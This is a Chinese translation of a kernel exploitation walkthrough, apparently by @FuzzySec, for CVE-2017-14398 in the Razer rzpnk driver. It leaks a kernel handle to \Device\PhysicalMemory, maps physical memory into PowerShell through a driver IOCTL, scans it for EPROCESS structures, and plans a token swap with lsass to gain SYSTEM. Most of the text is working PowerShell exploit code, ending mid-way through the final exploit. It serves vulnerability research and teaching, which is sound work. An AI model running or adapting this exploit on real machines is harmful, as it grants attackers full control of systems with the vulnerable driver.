#----------------[Read out the result buffer]
echo "`n[>] Call result:"
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64())) # 0x30 pyramid scheme ;)
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8+8))


在做调试之前，我们先运行POc并看看驱动返回了什么。
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很好，附加了一串输入参数后我们可以看到Int64返回了0，低序DWORD返回了NTSTATUS code。这种情况下， ZwMapViewOfSection返回了 STATUS_INVALID_HANDLE ，它表示函数期望一个区段句柄作为第一个参数，而我们却填充了一些垃圾值。另一方面的影响在于我们可以通过对比NTSTATUS码0x0（STATUS_SUCCESS）来鉴别调用是否成功。

图中可以看到我们已经知道了一些静态参数的值，为了消除疑惑我们在调用ZwMapViewOfSection调用处下个断点，检查寄存器和堆栈。ZwMapViewOfSection使用stdcall标准，因此，参数会被存储在RCX,RDX,R8,R9以及栈上。
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把这些全部放在我们的输入参数中，得到下面的内容。

NTSTATUS ZwMapViewOfSection(
  _In_        HANDLE          SectionHandle,      | Param 3 - RCX = SectionHandle
  _In_        HANDLE          ProcessHandle,      | Param 1 - RDX = ProcessHandle
  _Inout_     PVOID           *BaseAddress,       | Param 2 - R8  = BaseAddress -> Irrelevant, ptr to NULL
  _In_        ULONG_PTR       ZeroBits,           | 0 -> OK - R9
  _In_        SIZE_T          CommitSize,         | Param 5 - CommitSize / ViewSize
  _Inout_opt_ PLARGE_INTEGER  SectionOffset,      | 0 -> OK
  _Inout_     PSIZE_T         ViewSize,           | Param 5 - CommitSize / ViewSize
  _In_        SECTION_INHERIT InheritDisposition, | 2 = ViewUnmap
  _In_        ULONG           AllocationType,     | 0 -> Undocumented?
  _In_        ULONG           Win32Protect        | 0x40 -> PAGE_READWRITE
);


这里我们大部分能控制的都很直接。进程句柄的话我们仅仅需要传递一个到Powershell有完整权限的句柄，提交尺寸/视图尺寸则很简单，就是我们映射到进程的大小。但还是有个问题，我们要如何得到一个区段句柄，驱动并没有任何的函数允许我们去调用ZwCreateSection或ZwOpenSection。

Leaking Physical Memory

在这一点上我甚是迷惑，由于我无法创建一个区段句柄，exp也就到此为止了。幸运的是@aionescu 给了我一些灵感。使用NtQuerySystemInformation并携带SystemHandleInformation类别参数我们可以泄露出系统上通过进程打开的所有句柄。这些句柄是每-进程用户空间句柄，然而，System进程(PID=4)是一个特殊的例子，它允许我们转换用户空间句柄成内核句柄！

我为什么要关心这些？实际上System有一个到"\Device\PhysicalMemory"的句柄，如果我们可以泄露出该句柄的话，就可以利用ZwMapViewOfSection来直接映射物理内存到我们的PowerShel进程了！
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我写了一个powershell函数来实现这个功能。它使用静态的句柄常量来判断进程打开的句柄类型。我近期更新了这个函数，它现在可以在Win 7到Win 10 RS2上工作。 Get-Handles是我GitHub上的 PSKernel-Primitives repo的一部分，如果你想要利用PowerShell做内核pwn的话，可以使用它。
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获取内核句柄所需要做的就是把一个静态值与0x204（64位：0xffffffff80000000，32位：0x80000000）做加法运算。我们可以动态的做这件事。

$SystemProcHandles = Get-Handles -ProcID 4
[Int]$UserSectionHandle = $(($SystemProcHandles |Where-Object {$_.ObjectType -eq "Section"}).Handle)
[Int64]$SystemSectionHandle = $UserSectionHandle + 0xffffffff80000000


现在我们可以把所有东西整合一下，写一个新POC。为了测试起见，我们尝试去映射1mb的物理内存到PowerShell。

function RZ-ZwMapViewOfSection {
    Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System.Security.Principal;
     
    public static class Razer
    {
        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public static extern IntPtr CreateFile(
            String lpFileName,
            UInt32 dwDesiredAccess,
            UInt32 dwShareMode,
            IntPtr lpSecurityAttributes,
            UInt32 dwCreationDisposition,
            UInt32 dwFlagsAndAttributes,
            IntPtr hTemplateFile);
     
        [DllImport("Kernel32.dll", SetLastError = true)]
        public static extern bool DeviceIoControl(
            IntPtr hDevice,
            int IoControlCode,
            byte[] InBuffer,
            int nInBufferSize,
            IntPtr OutBuffer,
            int nOutBufferSize,
            ref int pBytesReturned,
            IntPtr Overlapped);
     
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr VirtualAlloc(
            IntPtr lpAddress,
            uint dwSize,
            UInt32 flAllocationType,
            UInt32 flProtect);
     
        [DllImport("kernel32.dll")]
        public static extern IntPtr OpenProcess(
            UInt32 processAccess,
            bool bInheritHandle,
            int processId);
    }
"@
 
    #----------------[Helper Funcs]
    function Get-Handles {
    <#
    .SYNOPSIS
        Use NtQuerySystemInformation::SystemHandleInformation to get a list of
        open handles in the specified process, works on x32/x64.
        Notes:
     
        * For more robust coding I would recomend using @mattifestation's
        Get-NtSystemInformation.ps1 part of PowerShellArsenal.
     
    .DESCRIPTION
        Author: Ruben Boonen (@FuzzySec)
        License: BSD 3-Clause
        Required Dependencies: None
        Optional Dependencies: None
     
    .EXAMPLE
        C:\PS> $SystemProcHandles = Get-Handles -ProcID 4
        C:\PS> $Key = $SystemProcHandles |Where-Object {$_.ObjectType -eq "Key"}
        C:\PS> $Key |ft
     
        ObjectType AccessMask PID Handle HandleFlags KernelPointer
        ---------- ---------- --- ------ ----------- -------------
        Key        0x00000000   4 0x004C NONE        0xFFFFC9076FC29BC0
        Key        0x00020000   4 0x0054 NONE        0xFFFFC9076FCDA7F0
        Key        0x000F0000   4 0x0058 NONE        0xFFFFC9076FC39CE0
        Key        0x00000000   4 0x0090 NONE        0xFFFFC907700A6B40
        Key        0x00000000   4 0x0098 NONE        0xFFFFC90770029F70
        Key        0x00020000   4 0x00A0 NONE        0xFFFFC9076FC9C1A0
        [...Snip...]
    #>
     
        [CmdletBinding()]
        param (
            [Parameter(Mandatory = $True)]
            [int]$ProcID
        )
         
        Add-Type -TypeDefinition @"
        using System;
        using System.Diagnostics;
        using System.Runtime.InteropServices;
        using System.Security.Principal;
         
        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        public struct SYSTEM_HANDLE_INFORMATION
        {
            public UInt32 ProcessID;
            public Byte ObjectTypeNumber;
            public Byte Flags;
            public UInt16 HandleValue;
            public IntPtr Object_Pointer;
            public UInt32 GrantedAccess;
        }
         
        public static class GetHandles
        {
            [DllImport("ntdll.dll")]
            public static extern int NtQuerySystemInformation(
                int SystemInformationClass,
                IntPtr SystemInformation,
                int SystemInformationLength,
                ref int ReturnLength);
        }
"@
     
        # Make sure the PID exists
        if (!$(get-process -Id $ProcID -ErrorAction SilentlyContinue)) {
            Return
        }
     
        # Flag switches (0 = NONE?)
        $FlagSwitches = @{
            0 = 'NONE'
            1 = 'PROTECT_FROM_CLOSE'
            2 = 'INHERIT'
        }
         
        $OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
        $OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
        switch ($OSMajorMinor)
        {
            '10.0' # Windows 10 (Tested on v1511)
            {
                # Win 10 v1703
                if ($OSVersion.Build -ge 15063) {
                    $TypeSwitches = @{
                        0x24 = 'TmTm'; 0x18 = 'Desktop'; 0x7 = 'Process'; 0x2c = 'RegistryTransaction'; 0xe = 'DebugObject';
                        0x3d = 'VRegConfigurationContext'; 0x34 = 'DmaDomain'; 0x1c = 'TpWorkerFactory'; 0x1d = 'Adapter';
                        0x5 = 'Token'; 0x39 = 'DxgkSharedResource'; 0xc = 'PsSiloContextPaged'; 0x38 = 'NdisCmState';
                        0xb = 'ActivityReference'; 0x35 = 'PcwObject'; 0x2f = 'WmiGuid'; 0x33 = 'DmaAdapter';
                        0x30 = 'EtwRegistration'; 0x29 = 'Session'; 0x1a = 'RawInputManager'; 0x13 = 'Timer'; 0x10 = 'Mutant';
                        0x14 = 'IRTimer'; 0x3c = 'DxgkCurrentDxgProcessObject'; 0x21 = 'IoCompletion';
                        0x3a = 'DxgkSharedSyncObject'; 0x17 = 'WindowStation'; 0x15 = 'Profile'; 0x23 = 'File';
                        0x2a = 'Partition'; 0x12 = 'Semaphore'; 0xd = 'PsSiloContextNonPaged'; 0x32 = 'EtwConsumer';
                        0x19 = 'Composition'; 0x31 = 'EtwSessionDemuxEntry'; 0x1b = 'CoreMessaging'; 0x25 = 'TmTx';
                        0x4 = 'SymbolicLink'; 0x36 = 'FilterConnectionPort'; 0x2b = 'Key'; 0x16 = 'KeyedEvent';
                        0x11 = 'Callback'; 0x22 = 'WaitCompletionPacket'; 0x9 = 'UserApcReserve'; 0x6 = 'Job';
                        0x3b = 'DxgkSharedSwapChainObject'; 0x1e = 'Controller'; 0xa = 'IoCompletionReserve'; 0x1f = 'Device';
                        0x3 = 'Directory'; 0x28 = 'Section'; 0x27 = 'TmEn'; 0x8 = 'Thread'; 0x2 = 'Type';
                        0x37 = 'FilterCommunicationPort'; 0x2e = 'PowerRequest'; 0x26 = 'TmRm'; 0xf = 'Event';
                        0x2d = 'ALPC Port'; 0x20 = 'Driver';
                    }
                }
                 
                # Win 10 v1607
                if ($OSVersion.Build -ge 14393 -And $OSVersion.Build -lt 15063) {
                    $TypeSwitches = @{
                        0x23 = 'TmTm'; 0x17 = 'Desktop'; 0x7 = 'Process'; 0x2b = 'RegistryTransaction'; 0xd = 'DebugObject';
                        0x3a = 'VRegConfigurationContext'; 0x32 = 'DmaDomain'; 0x1b = 'TpWorkerFactory'; 0x1c = 'Adapter';
                        0x5 = 'Token'; 0x37 = 'DxgkSharedResource'; 0xb = 'PsSiloContextPaged'; 0x36 = 'NdisCmState';
                        0x33 = 'PcwObject'; 0x2e = 'WmiGuid'; 0x31 = 'DmaAdapter'; 0x2f = 'EtwRegistration';
                        0x28 = 'Session'; 0x19 = 'RawInputManager'; 0x12 = 'Timer'; 0xf = 'Mutant'; 0x13 = 'IRTimer';
                        0x20 = 'IoCompletion'; 0x38 = 'DxgkSharedSyncObject'; 0x16 = 'WindowStation'; 0x14 = 'Profile';
                        0x22 = 'File'; 0x3b = 'VirtualKey'; 0x29 = 'Partition'; 0x11 = 'Semaphore'; 0xc = 'PsSiloContextNonPaged';
                        0x30 = 'EtwConsumer'; 0x18 = 'Composition'; 0x1a = 'CoreMessaging'; 0x24 = 'TmTx'; 0x4 = 'SymbolicLink';
                        0x34 = 'FilterConnectionPort'; 0x2a = 'Key'; 0x15 = 'KeyedEvent'; 0x10 = 'Callback';
                        0x21 = 'WaitCompletionPacket'; 0x9 = 'UserApcReserve'; 0x6 = 'Job'; 0x39 = 'DxgkSharedSwapChainObject';
                        0x1d = 'Controller'; 0xa = 'IoCompletionReserve'; 0x1e = 'Device'; 0x3 = 'Directory'; 0x27 = 'Section';
                        0x26 = 'TmEn'; 0x8 = 'Thread'; 0x2 = 'Type'; 0x35 = 'FilterCommunicationPort'; 0x2d = 'PowerRequest';
                        0x25 = 'TmRm'; 0xe = 'Event'; 0x2c = 'ALPC Port'; 0x1f = 'Driver';
                    }
                }
                 
                # Win 10 v1511
                if ($OSVersion.Build -lt 14393) {
                    $TypeSwitches = @{
                        0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
                        0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0A = 'IoCompletionReserve';
                        0x0B = 'DebugObject'; 0x0C = 'Event'; 0x0D = 'Mutant'; 0x0E = 'Callback'; 0x0F = 'Semaphore';
                        0x10 = 'Timer'; 0x11 = 'IRTimer'; 0x12 = 'Profile'; 0x13 = 'KeyedEvent'; 0x14 = 'WindowStation';
                        0x15 = 'Desktop'; 0x16 = 'Composition'; 0x17 = 'RawInputManager'; 0x18 = 'TpWorkerFactory';
                        0x19 = 'Adapter'; 0x1A = 'Controller'; 0x1B = 'Device'; 0x1C = 'Driver'; 0x1D = 'IoCompletion';
                        0x1E = 'WaitCompletionPacket'; 0x1F = 'File'; 0x20 = 'TmTm'; 0x21 = 'TmTx'; 0x22 = 'TmRm';
                        0x23 = 'TmEn'; 0x24 = 'Section'; 0x25 = 'Session'; 0x26 = 'Partition'; 0x27 = 'Key';
                        0x28 = 'ALPC Port'; 0x29 = 'PowerRequest'; 0x2A = 'WmiGuid'; 0x2B = 'EtwRegistration';
                        0x2C = 'EtwConsumer'; 0x2D = 'DmaAdapter'; 0x2E = 'DmaDomain'; 0x2F = 'PcwObject';
                        0x30 = 'FilterConnectionPort'; 0x31 = 'FilterCommunicationPort'; 0x32 = 'NetworkNamespace';
                        0x33 = 'DxgkSharedResource'; 0x34 = 'DxgkSharedSyncObject'; 0x35 = 'DxgkSharedSwapChainObject';
                    }
                }
            }
             
            '6.2' # Windows 8 and Windows Server 2012
            {
                $TypeSwitches = @{
                    0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
                    0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0A = 'IoCompletionReserve';
                    0x0B = 'DebugObject'; 0x0C = 'Event'; 0x0D = 'EventPair'; 0x0E = 'Mutant'; 0x0F = 'Callback';
                    0x10 = 'Semaphore'; 0x11 = 'Timer'; 0x12 = 'IRTimer'; 0x13 = 'Profile'; 0x14 = 'KeyedEvent';
                    0x15 = 'WindowStation'; 0x16 = 'Desktop'; 0x17 = 'CompositionSurface'; 0x18 = 'TpWorkerFactory';
                    0x19 = 'Adapter'; 0x1A = 'Controller'; 0x1B = 'Device'; 0x1C = 'Driver'; 0x1D = 'IoCompletion';
                    0x1E = 'WaitCompletionPacket'; 0x1F = 'File'; 0x20 = 'TmTm'; 0x21 = 'TmTx'; 0x22 = 'TmRm';
                    0x23 = 'TmEn'; 0x24 = 'Section'; 0x25 = 'Session'; 0x26 = 'Key'; 0x27 = 'ALPC Port';
                    0x28 = 'PowerRequest'; 0x29 = 'WmiGuid'; 0x2A = 'EtwRegistration'; 0x2B = 'EtwConsumer';
                    0x2C = 'FilterConnectionPort'; 0x2D = 'FilterCommunicationPort'; 0x2E = 'PcwObject';
                    0x2F = 'DxgkSharedResource'; 0x30 = 'DxgkSharedSyncObject';
                }
            }
         
            '6.1' # Windows 7 and Window Server 2008 R2
            {
                $TypeSwitches = @{
                    0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
                    0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0a = 'IoCompletionReserve';
                    0x0b = 'DebugObject'; 0x0c = 'Event'; 0x0d = 'EventPair'; 0x0e = 'Mutant'; 0x0f = 'Callback';
                    0x10 = 'Semaphore'; 0x11 = 'Timer'; 0x12 = 'Profile'; 0x13 = 'KeyedEvent'; 0x14 = 'WindowStation';
                    0x15 = 'Desktop'; 0x16 = 'TpWorkerFactory'; 0x17 = 'Adapter'; 0x18 = 'Controller';
                    0x19 = 'Device'; 0x1a = 'Driver'; 0x1b = 'IoCompletion'; 0x1c = 'File'; 0x1d = 'TmTm';
                    0x1e = 'TmTx'; 0x1f = 'TmRm'; 0x20 = 'TmEn'; 0x21 = 'Section'; 0x22 = 'Session'; 0x23 = 'Key';
                    0x24 = 'ALPC Port'; 0x25 = 'PowerRequest'; 0x26 = 'WmiGuid'; 0x27 = 'EtwRegistration';
                    0x28 = 'EtwConsumer'; 0x29 = 'FilterConnectionPort'; 0x2a = 'FilterCommunicationPort';
                    0x2b = 'PcwObject';
                }
            }
         
            '6.0' # Windows Vista and Windows Server 2008
            {
                $TypeSwitches = @{
                    0x01 = 'Type'; 0x02 = 'Directory'; 0x03 = 'SymbolicLink'; 0x04 = 'Token'; 0x05 = 'Job';
                    0x06 = 'Process'; 0x07 = 'Thread'; 0x08 = 'DebugObject'; 0x09 = 'Event'; 0x0a = 'EventPair';
                    0x0b = 'Mutant'; 0x0c = 'Callback'; 0x0d = 'Semaphore'; 0x0e = 'Timer'; 0x0f = 'Profile';
                    0x10 = 'KeyedEvent'; 0x11 = 'WindowStation'; 0x12 = 'Desktop'; 0x13 = 'TpWorkerFactory';
                    0x14 = 'Adapter'; 0x15 = 'Controller'; 0x16 = 'Device'; 0x17 = 'Driver'; 0x18 = 'IoCompletion';
                    0x19 = 'File'; 0x1a = 'TmTm'; 0x1b = 'TmTx'; 0x1c = 'TmRm'; 0x1d = 'TmEn'; 0x1e = 'Section';
                    0x1f = 'Session'; 0x20 = 'Key'; 0x21 = 'ALPC Port'; 0x22 = 'WmiGuid'; 0x23 = 'EtwRegistration';
                    0x24 = 'FilterConnectionPort'; 0x25 = 'FilterCommunicationPort';
                }
            }
        }
     
        [int]$BuffPtr_Size = 0
        while ($true) {
            [IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size)
            $SystemInformationLength = New-Object Int
         
            $CallResult = [GetHandles]::NtQuerySystemInformation(16, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength)
             
            # STATUS_INFO_LENGTH_MISMATCH
            if ($CallResult -eq 0xC0000004) {
                [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
                [int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength)
            }
            # STATUS_SUCCESS
            elseif ($CallResult -eq 0x00000000) {
                break
            }
            # Probably: 0xC0000005 -> STATUS_ACCESS_VIOLATION
            else {
                [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
                return
            }
        }
         
        $SYSTEM_HANDLE_INFORMATION = New-Object SYSTEM_HANDLE_INFORMATION
        $SYSTEM_HANDLE_INFORMATION = $SYSTEM_HANDLE_INFORMATION.GetType()
        if ([System.IntPtr]::Size -eq 4) {
            $SYSTEM_HANDLE_INFORMATION_Size = 16 # This makes sense!
        } else {
            $SYSTEM_HANDLE_INFORMATION_Size = 24 # This doesn't make sense, should be 20 on x64 but that doesn't work.
                                                # Ask no questions, hear no lies!
        }
         
        $BuffOffset = $BuffPtr.ToInt64()
        $HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset)
        $BuffOffset = $BuffOffset + [System.IntPtr]::Size
         
        $SystemHandleArray = @()
        for ($i=0; $i -lt $HandleCount; $i++){
            # PtrToStructure only objects we are targeting, this is expensive computation
            if ([System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset) -eq $ProcID) {
                $SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset
                $Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_HANDLE_INFORMATION)
                 
                $HashTable = @{
                    PID = $Cast.ProcessID
                    ObjectType = if (!$($TypeSwitches[[int]$Cast.ObjectTypeNumber])) { "0x$('{0:X2}' -f [int]$Cast.ObjectTypeNumber)" } else { $TypeSwitches[[int]$Cast.ObjectTypeNumber] }
                    HandleFlags = $FlagSwitches[[int]$Cast.Flags]
                    Handle = "0x$('{0:X4}' -f [int]$Cast.HandleValue)"
                    KernelPointer = if ([System.IntPtr]::Size -eq 4) { "0x$('{0:X}' -f $Cast.Object_Pointer.ToInt32())" } else { "0x$('{0:X}' -f $Cast.Object_Pointer.ToInt64())" }
                    AccessMask = "0x$('{0:X8}' -f $($Cast.GrantedAccess -band 0xFFFF0000))"
                }
                 
                $Object = New-Object PSObject -Property $HashTable
                $SystemHandleArray += $Object
                 
            }
     
            $BuffOffset = $BuffOffset + $SYSTEM_HANDLE_INFORMATION_Size
        }
         
        if ($($SystemHandleArray.count) -eq 0) {
            [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
            Return
        }
         
        # Set column order and auto size
        $SystemHandleArray
         
        # Free SYSTEM_HANDLE_INFORMATION array
        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
    }
 
    #----------------[Get Driver Handle]
     
    $hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
    [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
     
    if ($hDevice -eq -1) {
        echo "`n[!] Unable to get driver handle..`n"
        Return
    } else {
        echo "`n[>] Driver access OK.."
        echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
        echo "[+] Handle: $hDevice"
    }
     
    #----------------[Prepare buffer & Send IOCTL]
     
    # Get full access process handle to self
    echo "`n[>] Opening full access handle to PowerShell.."
    $hPoshProc = [Razer]::OpenProcess(0x001F0FFF,$false,$PID)
    echo "[+] PowerShell handle: $hPoshProc"
     
    # Get Section handle
    echo "`n[>] Leaking Kernel handle to \Device\PhysicalMemory.."
    $SystemProcHandles = Get-Handles -ProcID 4
    [Int]$UserSectionHandle = $(($SystemProcHandles |Where-Object {$_.ObjectType -eq "Section"}).Handle)
    [Int64]$SystemSectionHandle = $UserSectionHandle + 0xffffffff80000000
    echo "[+] System section handle: $('{0:X}' -f $SystemSectionHandle)"
     
    # NTSTATUS ZwMapViewOfSection(
    #   _In_        HANDLE          SectionHandle,      | Param 3 - RCX = SectionHandle
    #   _In_        HANDLE          ProcessHandle,      | Param 1 - RDX = ProcessHandle
    #   _Inout_     PVOID           *BaseAddress,       | Param 2 - R8  = BaseAddress -> Irrelevant, ptr to NULL
    #   _In_        ULONG_PTR       ZeroBits,           | 0 -> OK - R9
    #   _In_        SIZE_T          CommitSize,         | Param 5 - CommitSize / ViewSize
    #   _Inout_opt_ PLARGE_INTEGER  SectionOffset,      | 0 -> OK
    #   _Inout_     PSIZE_T         ViewSize,           | Param 5 - CommitSize / ViewSize
    #   _In_        SECTION_INHERIT InheritDisposition, | 2 = ViewUnmap
    #   _In_        ULONG           AllocationType,     | 0 -> Undocumented?
    #   _In_        ULONG           Win32Protect        | 0x40 -> PAGE_READWRITE
    # );
    $InBuffer = @(
        [System.BitConverter]::GetBytes($hPoshProc.ToInt64()) +      # Param 1 - RDX=ProcessHandle
        [System.BitConverter]::GetBytes([Int64]0x0) +                # Param 2 - BaseAddress -> Irrelevant, ptr to NULL
        [System.BitConverter]::GetBytes($SystemSectionHandle) +      # Param 3 - RCX=SectionHandle
        [System.BitConverter]::GetBytes([Int64]4) +                  # Param 4 - ? junk ?
        [System.BitConverter]::GetBytes([Int64]$(1*1024*1024)) +     # Param 5 - CommitSize / ViewSize (1mb)
        [System.BitConverter]::GetBytes([Int64]4)                    # Param 6 - ? junk ?
    )
     
    # Output buffer
    $OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
     
    # Ptr receiving output byte count
    $IntRet = 0
     
    #=======
    # 0x22a050 - ZwOpenProcess
    # 0x22A064 - ZwMapViewOfSection
    #=======
    $CallResult = [Razer]::DeviceIoControl($hDevice, 0x22A064, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
    if (!$CallResult) {
        echo "`n[!] DeviceIoControl failed..`n"
        Return
    }
     
    #----------------[Read out the result buffer]
    echo "`n[>] Verifying ZwMapViewOfSection.."
    $NTSTATUS = "{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8+8))
    $Address = [System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8)
    if ($NTSTATUS -eq 0) {
        echo "[+] NTSTATUS Success!"
        echo "[+] 1mb RWX \Device\PhysicalMemory allocated at: $('{0:X}' -f $Address)`n"
    } else {
        echo "[!] Call failed: $('{0:X}' -f $NTSTATUS)`n"
    }
}


运行POC，得到下列输出。
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注意到我们通过阅读NTSTATUS码来丈量是否成功，Int64值此前是0，而这一次它是一个地址，表示我们本地进程中区段的映射位置。在Process Hacker中可以看到确实分配了一个严格大小的1024kb的内存块。
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使用Process Hacker，我们实际上可以转储这块内存到磁盘上。如果我们那样做的话，就可以看到下面一些有趣的内容。Bootkit？
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我们已证实了这个漏洞，但我们要如何去获取一个SYSTEM shell呢？

Hunting EPROCESS

最直接的办法就是通过写一个经典的token窃取exp。困难在于要在我们映射的内存中查找EPROCESS结构体。WinDBG中显示EPROCESS结构体被分配在一个标签为’Proc’的池块上。
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EPROCESS指针减去’Proc’池块首，我们可以立即算出头部尺寸。相反的，如果我们有了一个任意’Proc’池地址的话，我们也可以计算出EPROCESS结构的任意属性的位置。
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如果你想查找这些依赖于架构/版本的偏移字段而不想利用KD的话，你可以看看 Terminus Project。这是 @rwfpl 所分享的很帮的资源，它会在很多情景下节省你大量的时间。

所以我们就把问题简化到寻找’Proc’池块上，现在还没通关。为了找到这些块我们可以扫描整个内存映射区段来查找这个特殊的’Proc’池标签。
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因为优化的原因，我们注意到池块都以0x10对齐。本质上，这意味着我们只需要以16字节作为单位进行读取。这可能没什么但却节省了宝贵的时间。即使如此，这个搜索也是非常之缓慢，毕竟’Proc’池块标签在900mb之后就开始存在了。我们可以通过扫描0x30000000(0x30000000/(1024*1024)=768mb)起始的映射内存来进一步的优化搜索过程，对不同OS版本来说，这个数可能会变化。

为了验证我们的理论，我们可以用下面的循环（在1.2gb映射区段）来查找’Proc’池块并转储一些EPROCESS数据来验证。

echo "`n[>] Parsing physical memory, coffee time..`n"
for ($i=0x30000000;$i -lt $(1200*1024*1024); $i+=0x10) {
     
    # Read potential pooltag
    $Val = [System.Runtime.InteropServices.Marshal]::ReadInt32($Address+$i+4)
     
    # If pooltag matches Proc, pull out details..
    if ($Val -eq 0xe36f7250) {
        echo "[+] w00t Proc chunk found!"
        $ProcessName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($Address+$i+0x60+0x2d8+8) # Not sure why +8 here?
        $Token = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address+$i+0x60+0x208)
        $ProcID = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address+$i+0x60+0x180)
        echo "[>] Address: $('{0:X}' -f $($Address+$i))"
        echo "[>] $ProcessName"
        echo "[>] $ProcID"
        echo "[>] Token: $('{0:X}' -f $Token)"
        echo "==========================================="
    }
}


一部分结果如下：
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如你所见，该实现体并不完美，某些映像的名称被截断了，且有着少量的检测完全没有显示EPROCESS结构体。幸运的是，我发现大部分进程都可以保证被正确的检测到（包括PowerShell/lsass）。

游戏结束

遗留问题就是去修改上面的循环，使得它记录下lsass进程的token以及PowerShell进程的token位置。一旦两个元素都找到了我们就可以简单的替换PowerShell的token来提权到SYSTEM！这可能需要一些实验，在8,8.1和10上进行exp将是一个较为直接的练习。唯一需要考虑的就是EPROCESS结构体的变化以及开发一种策略来处理System进程的多个区段句柄。最终的exp如下。

function RZ-ZwMapViewOfSection {
    Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System.Security.Principal;
     
    public static class Razer
    {
        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public static extern IntPtr CreateFile(
            String lpFileName,
            UInt32 dwDesiredAccess,
            UInt32 dwShareMode,
            IntPtr lpSecurityAttributes,
            UInt32 dwCreationDisposition,
            UInt32 dwFlagsAndAttributes,
            IntPtr hTemplateFile);
     
        [DllImport("Kernel32.dll", SetLastError = true)]
        public static extern bool DeviceIoControl(
            IntPtr hDevice,
            int IoControlCode,
            byte[] InBuffer,
            int nInBufferSize,
            IntPtr OutBuffer,
            int nOutBufferSize,
            ref int pBytesReturned,
            IntPtr Overlapped);
     
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr VirtualAlloc(
            IntPtr lpAddress,
            uint dwSize,
            UInt32 flAllocationType,
            UInt32 flProtect);
     
        [DllImport("kernel32.dll")]
        public static extern IntPtr OpenProcess(
            UInt32 processAccess,
            bool bInheritHandle,
            int processId);
    }
"@
 
    #----------------[Helper Funcs]
    $CVE201714398 = @"
 
                    shhsddh 
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           dMdhy                            [by b33f -> @FuzzySec]
          dNsyyss           
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"@
 
    $CVE201714398
 
    #----------------[Helper Funcs]
    function Get-Handles {
    <#
    .SYNOPSIS
        Use NtQuerySystemInformation::SystemHandleInformation to get a list of
        open handles in the specified process, works on x32/x64.
        Notes:
     
        * For more robust coding I would recomend using @mattifestation's
        Get-NtSystemInformation.ps1 part of PowerShellArsenal.
     
    .DESCRIPTION
        Author: Ruben Boonen (@FuzzySec)
        License: BSD 3-Clause
        Required Dependencies: None
        Optional Dependencies: None
     
    .EXAMPLE
        C:\PS> $SystemProcHandles = Get-Handles -ProcID 4
        C:\PS> $Key = $SystemProcHandles |Where-Object {$_.ObjectType -eq "Key"}
        C:\PS> $Key |ft
     
        ObjectType AccessMask PID Handle HandleFlags KernelPointer
        ---------- ---------- --- ------ ----------- -------------
        Key        0x00000000   4 0x004C NONE        0xFFFFC9076FC29BC0
        Key        0x00020000   4 0x0054 NONE        0xFFFFC9076FCDA7F0
        Key        0x000F0000   4 0x0058 NONE        0xFFFFC9076FC39CE0
        Key        0x00000000   4 0x0090 NONE        0xFFFFC907700A6B40
        Key        0x00000000   4 0x0098 NONE        0xFFFFC90770029F70
        Key        0x00020000   4 0x00A0 NONE        0xFFFFC9076FC9C1A0
        [...Snip...]
    #>
     
        [CmdletBinding()]
        param (
            [Parameter(Mandatory = $True)]
            [int]$ProcID
        )
         
        Add-Type -TypeDefinition @"
        using System;
        using System.Diagnostics;
